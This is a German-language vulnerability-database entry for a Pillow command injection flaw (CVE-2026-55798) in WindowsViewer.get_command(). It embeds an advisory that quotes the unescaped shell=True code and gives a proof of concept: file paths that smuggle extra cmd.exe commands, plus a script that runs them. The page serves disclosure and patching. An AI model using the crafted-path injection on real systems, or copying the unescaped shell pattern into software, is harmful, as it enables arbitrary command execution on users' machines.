CVE-2026-55798
mediumPriorität · verfolgen · 0EPSS 0.002 · 7. PerzentilEUFRUSEPSS · bewertet 2026-10-27
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (4)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-4x4j-2g7c-83w6Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path2026-07-20ghsa · osvUS
### 1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`. --- ### 2. Vulnerable Code **File:** `src/PIL/ImageShow.py`, lines 133–150 ```python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, **options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, **options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, **options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ``` **Contrast with macOS — SAFE (line 164–168):** ```python class MacViewer(Viewer): def get_command(self, file: str, **options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ``` **Cross-platform summary:** | Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No | `shlex.quote` is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- ### 3. Proof of Concept A full working PoC is at `poc_pillow_injection.py`. Key parts: **Part A — Injection string construction (static, no execution):** ```python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) # Output: # start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... # ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) # ├─ & echo PWNED → INJECTED COMMAND # └─ & echo "" && ping ... → continues ``` **Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):** ```python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") # Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') # Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) # Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES # → CONFIRMED: arbitrary command injection via get_command() ``` ---
- BIT-pillow-2026-55798Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path2026-07-08vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
- CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
- PYSEC-2026-22572026-07-06vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
auch bekannt als (7)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (15)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstcnnvd
- https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8acnnvd
- https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4cnnvd
- https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7fcnnvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6cnnvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstenisa_euvd
- https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8aenisa_euvd
- https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4enisa_euvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan